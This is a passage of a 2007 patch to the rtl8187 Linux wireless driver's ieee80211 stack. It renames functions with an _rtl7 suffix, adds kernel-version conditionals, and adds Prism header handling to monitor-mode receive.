inline void *ieee80211_priv(struct net_device *dev) +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1197,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1223,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1251,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); -extern int ieee80211_xmit(struct sk_buff *skb, +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *ext); -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern const long ieee80211_wlan_frequencies[]; +extern const long ieee80211_wlan_frequencies_rtl7[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1398,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } diff -Naur rtl8187_orig/ieee80211/ieee80211_module.c rtl8187_txpower/ieee80211/ieee80211_module.c --- rtl8187_orig/ieee80211/ieee80211_module.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_module.c 2007-03-05 00:31:52.435344332 +0100 @@ -31,7 +31,6 @@ *******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,10 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif + #include "ieee80211.h" MODULE_DESCRIPTION("802.11 data/management/control stack"); @@ -60,7 +63,7 @@ #define DRV_NAME "ieee80211" -static inline int ieee80211_networks_allocate(struct ieee80211_device *ieee) +static inline int ieee80211_networks_allocate_rtl7(struct ieee80211_device *ieee) { if (ieee->networks) return 0; @@ -80,7 +83,7 @@ return 0; } -static inline void ieee80211_networks_free(struct ieee80211_device *ieee) +static inline void ieee80211_networks_free_rtl7(struct ieee80211_device *ieee) { if (!ieee->networks) return; @@ -88,7 +91,7 @@ ieee->networks = NULL; } -static inline void ieee80211_networks_initialize(struct ieee80211_device *ieee) +static inline void ieee80211_networks_initialize_rtl7(struct ieee80211_device *ieee) { int i; @@ -99,7 +102,7 @@ } -struct net_device *alloc_ieee80211(int sizeof_priv) +struct net_device *alloc_ieee80211_rtl7(int sizeof_priv) { struct ieee80211_device *ieee; struct net_device *dev; @@ -113,17 +116,17 @@ goto failed; } ieee = netdev_priv(dev); - dev->hard_start_xmit = ieee80211_xmit; + dev->hard_start_xmit = ieee80211_xmit_rtl7; ieee->dev = dev; - err = ieee80211_networks_allocate(ieee); + err = ieee80211_networks_allocate_rtl7(ieee); if (err) { IEEE80211_ERROR("Unable to allocate beacon storage: %d\n", err); goto failed; } - ieee80211_networks_initialize(ieee); + ieee80211_networks_initialize_rtl7(ieee); /* Default fragmentation threshold is maximum payload size */ ieee->fts = DEFAULT_FTS; @@ -138,7 +141,7 @@ INIT_LIST_HEAD(&ieee->crypt_deinit_list); init_timer(&ieee->crypt_deinit_timer); ieee->crypt_deinit_timer.data = (unsigned long)ieee; - ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler; + ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler_rtl7; spin_lock_init(&ieee->lock); @@ -149,7 +152,7 @@ ieee->ieee802_1x = 1; ieee->raw_tx = 0; - ieee80211_softmac_init(ieee); + ieee80211_softmac_init_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) INIT_LIST_HEAD(&ieee->ibss_mac_hash[i]); @@ -167,7 +170,7 @@ } -void free_ieee80211(struct net_device *dev) +void free_ieee80211_rtl7(struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -175,9 +178,9 @@ struct list_head *p, *q; - ieee80211_softmac_free(ieee); + ieee80211_softmac_free_rtl7(ieee); del_timer_sync(&ieee->crypt_deinit_timer); - ieee80211_crypt_deinit_entries(ieee, 1); + ieee80211_crypt_deinit_entries_rtl7(ieee, 1); for (i = 0; i < WEP_KEYS; i++) { struct ieee80211_crypt_data *crypt = ieee->crypt[i]; @@ -191,7 +194,7 @@ } } - ieee80211_networks_free(ieee); + ieee80211_networks_free_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) { list_for_each_safe(p, q, &ieee->ibss_mac_hash[i]) { @@ -210,13 +213,13 @@ u32 ieee80211_debug_level = 0; struct proc_dir_entry *ieee80211_proc = NULL; -static int show_debug_level(char *page, char **start, off_t offset, +static int show_debug_level_rtl7(char *page, char **start, off_t offset, int count, int *eof, void *data) { return snprintf(page, count, "0x%08X\n", ieee80211_debug_level); } -static int store_debug_level(struct file *file, const char *buffer, +static int store_debug_level_rtl7(struct file *file, const char *buffer, unsigned long count, void *data) { char buf[] = "0x00000000"; @@ -243,7 +246,7 @@ return strnlen(buf, count); } -static int __init ieee80211_init(void) +static int __init ieee80211_init_rtl7(void) { struct proc_dir_entry *e; @@ -268,7 +271,7 @@ return 0; } -static void __exit ieee80211_exit(void) +static void __exit ieee80211_exit_rtl7(void) { if (ieee80211_proc) { remove_proc_entry("debug_level", ieee80211_proc); @@ -282,9 +285,9 @@ MODULE_PARM_DESC(debug, "debug output mask"); -module_exit(ieee80211_exit); -module_init(ieee80211_init); +module_exit(ieee80211_exit_rtl7); +module_init(ieee80211_init_rtl7); #endif -EXPORT_SYMBOL(alloc_ieee80211); -EXPORT_SYMBOL(free_ieee80211); +EXPORT_SYMBOL(alloc_ieee80211_rtl7); +EXPORT_SYMBOL(free_ieee80211_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_rx.c rtl8187_txpower/ieee80211/ieee80211_rx.c --- rtl8187_orig/ieee80211/ieee80211_rx.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_rx.c 2007-03-05 00:31:52.485345087 +0100 @@ -22,7 +22,6 @@ #include -#include #include #include #include @@ -43,18 +42,83 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif + + #include "ieee80211.h" -static inline void ieee80211_monitor_rx(struct ieee80211_device *ieee, +static inline void ieee80211_monitor_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { - struct ieee80211_hdr *hdr = (struct ieee80211_hdr *)skb->data; - u16 fc = le16_to_cpu(hdr->frame_ctl); + struct ieee80211_hdr *hdr1 = (struct ieee80211_hdr *)skb->data; + u16 fc = le16_to_cpu(hdr1->frame_ctl); + int prism_header; + int hdrlen, phdrlen, head_need, tail_need; + + if (ieee->dev->type == ARPHRD_IEEE80211_PRISM) { + prism_header = 1; + phdrlen = sizeof(struct linux_wlan_ng_prism_hdr); + } else { + prism_header = 0; + phdrlen = 0; + } + + hdrlen = ieee80211_get_hdrlen_rtl7(fc); + + /* check if there is enough room for extra data; if not, expand skb + * buffer to be large enough for the changes */ + head_need = phdrlen; + tail_need = 0; +#ifdef PRISM2_ADD_BOGUS_CRC + tail_need += 4; +#endif /* PRISM2_ADD_BOGUS_CRC */ + + head_need -= skb_headroom(skb); + tail_need -= skb_tailroom(skb); + + if (head_need > 0 || tail_need > 0) { + if (pskb_expand_head(skb, head_need > 0 ? head_need : 0, + tail_need > 0 ? tail_need : 0, + GFP_ATOMIC)) { + printk(KERN_DEBUG "%s: ieee80211_rx failed to " + "reallocate skb buffer\n", ieee->dev->name); + dev_kfree_skb_any(skb); + return; + } + } + + if (prism_header == 1) { + struct linux_wlan_ng_prism_hdr *hdr; + hdr = (struct linux_wlan_ng_prism_hdr *) + skb_push(skb, phdrlen); + memset(hdr, 0, phdrlen); + hdr->msgcode = LWNG_CAP_DID_BASE; + hdr->msglen = sizeof(*hdr); + memcpy(hdr->devname, ieee->dev->name, sizeof(hdr->devname)); +#define LWNG_SETVAL(f,i,s,l,d) \ +hdr->f.did = LWNG_CAP_DID_BASE | (i << 12); \ +hdr->f.status = s; hdr->f.len = l; hdr->f.data = d + LWNG_SETVAL(hosttime, 1, 0, 4, jiffies); + LWNG_SETVAL(mactime, 2, 0, 4, ((u32)rx_stats->mac_time)); + LWNG_SETVAL(channel, 3, 1 /* no value */, 4, 0); + LWNG_SETVAL(rssi, 4, 1 /* no value */, 4, 0); + LWNG_SETVAL(sq, 5, 1 /* no value */, 4, 0); + LWNG_SETVAL(signal, 6, 0, 4, rx_stats->signal); + LWNG_SETVAL(noise, 7, 0, 4, rx_stats->noise); + LWNG_SETVAL(rate, 8, 0, 4, rx_stats->rate / 5); + LWNG_SETVAL(istx, 9, 0, 4, 0); + LWNG_SETVAL(frmlen, 10, 0, 4, skb->len - phdrlen); +#undef LWNG_SETVAL + } skb->dev = ieee->dev; skb->mac.raw = skb->data; - skb_pull(skb, ieee80211_get_hdrlen(fc)); + skb_pull(skb, hdrlen); + if (prism_header) + skb_pull(skb, phdrlen); skb->pkt_type = PACKET_OTHERHOST; skb->protocol = __constant_htons(ETH_P_80211_RAW); memset(skb->cb, 0, sizeof(skb->cb)); @@ -64,7 +128,7 @@ /* Called only as a tasklet (software IRQ) */ static struct ieee80211_frag_entry * -ieee80211_frag_cache_find(struct ieee80211_device *ieee, unsigned int seq, +ieee80211_frag_cache_find_rtl7(struct ieee80211_device *ieee, unsigned int seq, unsigned int frag, u8 *src, u8 *dst) { struct ieee80211_frag_entry *entry; @@ -94,7 +158,7 @@ /* Called only as a tasklet (software IRQ) */ static struct sk_buff * -ieee80211_frag_cache_get(struct ieee80211_device *ieee, +ieee80211_frag_cache_get_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { struct sk_buff *skb = NULL; @@ -133,7 +197,7 @@ } else { /* received a fragment of a frame for which the head fragment * should have already been received */ - entry = ieee80211_frag_cache_find(ieee, seq, frag, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, frag, hdr->addr2, hdr->addr1); if (entry != NULL) { entry->last_frag = frag; @@ -146,7 +210,7 @@ /* Called only as a tasklet (software IRQ) */ -static int ieee80211_frag_cache_invalidate(struct ieee80211_device *ieee, +static int ieee80211_frag_cache_invalidate_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { u16 sc; @@ -156,7 +220,7 @@ sc = le16_to_cpu(hdr->seq_ctl); seq = WLAN_GET_SEQ_SEQ(sc); - entry = ieee80211_frag_cache_find(ieee, seq, -1, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, -1, hdr->addr2, hdr->addr1); if (entry == NULL) { @@ -178,7 +242,7 @@ * * Called by ieee80211_rx */ static inline int -ieee80211_rx_frame_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { @@ -187,8 +251,8 @@ * response parser uses it */ rx_stats->len = skb->len; - ieee80211_rx_mgt(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); - ieee80211_rx_frame_softmac(ieee, skb, rx_stats, type, stype); + ieee80211_rx_mgt_rtl7(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); + ieee80211_rx_frame_softmac_rtl7(ieee, skb, rx_stats, type, stype); dev_kfree_skb_any(skb); @@ -253,7 +317,7 @@ /* No encapsulation header if EtherType < 0x600 (=length) */ /* Called by ieee80211_rx_frame_decrypt */ -static int ieee80211_is_eapol_frame(struct ieee80211_device *ieee, +static int ieee80211_is_eapol_frame_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { struct net_device *dev = ieee->dev; @@ -294,7 +358,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -304,7 +368,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); #ifdef CONFIG_IEEE80211_CRYPT_TKIP if (ieee->tkip_countermeasures && @@ -339,7 +403,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt_msdu(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_msdu_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, int keyidx, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -349,7 +413,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); atomic_inc(&crypt->refcnt); res = crypt->ops->decrypt_msdu(skb, keyidx, hdrlen, crypt->priv); @@ -367,7 +431,7 @@ /* this function is stolen from ipw2200 driver*/ #define IEEE_PACKET_RETRY_TIME (5*HZ) -static int is_duplicate_packet(struct ieee80211_device *ieee, +static int is_duplicate_packet_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header) { // u16 fc = le16_to_cpu(header->frame_ctl); @@ -444,7 +508,7 @@ /* All received frames are sent to this function. @skb contains the frame in * IEEE 802.11 format, i.e., in the format it was sent over air. * This function is called only as a tasklet (software IRQ). */ -int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { struct net_device *dev = ieee->dev; @@ -483,7 +547,7 @@ sc = le16_to_cpu(hdr->seq_ctl); frag = WLAN_GET_SEQ_FRAG(sc); - hdrlen = ieee80211_get_hdrlen(fc); + hdrlen = ieee80211_get_hdrlen_rtl7(fc); #ifdef NOT_YET #if WIRELESS_EXT > 15 @@ -501,12 +565,12 @@ } #endif /* IW_WIRELESS_SPY */ #endif /* WIRELESS_EXT > 15 */ - hostap_update_rx_stats(local->ap, hdr, rx_stats); + hostap_update_rx_stats_rtl7(local->ap, hdr, rx_stats); #endif #if WIRELESS_EXT > 15 if (ieee->iw_mode == IW_MODE_MONITOR) { - ieee80211_monitor_rx(ieee, skb, rx_stats); + ieee80211_monitor_rx_rtl7(ieee, skb, rx_stats); stats->rx_packets++; stats->rx_bytes += skb->len; return 1; @@ -529,7 +593,7 @@ * stations that do not support WEP key mapping). */ if (!(hdr->addr1[0] & 0x01) || local->bcrx_sta_key) - (void) hostap_handle_sta_crypto(local, hdr, &crypt, + (void) hostap_handle_sta_crypto_rtl7(local, hdr, &crypt, &sta); #endif @@ -555,7 +619,7 @@ if (skb->len < IEEE80211_DATA_HDR3_LEN) goto rx_dropped; - if (is_duplicate_packet(ieee, hdr)) + if (is_duplicate_packet_rtl7(ieee, hdr)) goto rx_dropped; @@ -575,7 +639,7 @@ #endif - if (ieee80211_rx_frame_mgmt(ieee, skb, rx_stats, type, stype)) + if (ieee80211_rx_frame_mgmt_rtl7(ieee, skb, rx_stats, type, stype)) goto rx_dropped; else goto rx_exit; @@ -606,7 +670,7 @@ } #ifdef NOT_YET - if (hostap_rx_frame_wds(ieee, hdr, fc, &wds)) + if (hostap_rx_frame_wds_rtl7(ieee, hdr, fc, &wds)) goto rx_dropped; if (wds) { skb->dev = dev = wds; @@ -619,7 +683,7 @@ memcmp(hdr->addr2, ieee->assoc_ap_addr, ETH_ALEN) == 0) { /* Frame from BSSID of the AP for which we are a client */ skb->dev = dev = ieee->stadev; - stats = hostap_get_stats(dev); + stats = hostap_get_stats_rtl7(dev); from_assoc_ap = 1; } #endif @@ -630,7 +694,7 @@ if ((ieee->iw_mode == IW_MODE_MASTER || ieee->iw_mode == IW_MODE_REPEAT) && !from_assoc_ap) { - switch (hostap_handle_sta_rx(ieee, dev, skb, rx_stats, + switch (hostap_handle_sta_rx_rtl7(ieee, dev, skb, rx_stats, wds != NULL)) { case AP_RX_CONTINUE_NOT_AUTHORIZED: frame_authorized = 0; @@ -664,7 +728,7 @@ /* skb: hdr + (possibly fragmented, possibly encrypted) payload */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - (keyidx = ieee80211_rx_frame_decrypt(ieee, skb, crypt)) < 0) + (keyidx = ieee80211_rx_frame_decrypt_rtl7(ieee, skb, crypt)) < 0) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; @@ -674,7 +738,7 @@ // ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && if ((frag != 0 || (fc & IEEE80211_FCTL_MOREFRAGS))) { int flen; - struct sk_buff *frag_skb = ieee80211_frag_cache_get(ieee, hdr); + struct sk_buff *frag_skb = ieee80211_frag_cache_get_rtl7(ieee, hdr); IEEE80211_DEBUG_FRAG("Rx Fragment received (%u)\n", frag); if (!frag_skb) { @@ -694,7 +758,7 @@ printk(KERN_WARNING "%s: host decrypted and " "reassembled frame did not fit skb\n", dev->name); - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); goto rx_dropped; } @@ -722,19 +786,19 @@ * delivered, so remove skb from fragment cache */ skb = frag_skb; hdr = (struct ieee80211_hdr *) skb->data; - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); } /* skb: hdr + (possible reassembled) full MSDU payload; possibly still * encrypted/authenticated */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - ieee80211_rx_frame_decrypt_msdu(ieee, skb, keyidx, crypt)) + ieee80211_rx_frame_decrypt_msdu_rtl7(ieee, skb, keyidx, crypt)) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep) { if (/*ieee->ieee802_1x &&*/ - ieee80211_is_eapol_frame(ieee, skb)) { + ieee80211_is_eapol_frame_rtl7(ieee, skb)) { #ifdef CONFIG_IEEE80211_DEBUG /* pass unencrypted EAPOL frames even if encryption is * configured */ @@ -763,7 +827,7 @@ #endif if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep && - !ieee80211_is_eapol_frame(ieee, skb)) { + !ieee80211_is_eapol_frame_rtl7(ieee, skb)) { IEEE80211_DEBUG_DROP( "dropped unencrypted RX data " "frame from " MAC_FMT @@ -896,7 +960,7 @@ #define MGMT_FRAME_FIXED_PART_LENGTH 0x24 -static inline int ieee80211_is_ofdm_rate(u8 rate) +static inline int ieee80211_is_ofdm_rate_rtl7(u8 rate) { switch (rate & ~IEEE80211_BASIC_RATE_MASK) { case IEEE80211_OFDM_RATE_6MB: @@ -913,7 +977,7 @@ } -static inline int ieee80211_network_init( +static inline int ieee80211_network_init_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_network *network, @@ -964,7 +1028,7 @@ switch (info_element->id) { case MFIE_TYPE_SSID: - if (ieee80211_is_empty_essid(info_element->data, + if (ieee80211_is_empty_essid_rtl7(info_element->data, info_element->len)) { network->flags |= NETWORK_EMPTY_ESSID; break; @@ -991,7 +1055,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1014,7 +1078,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); 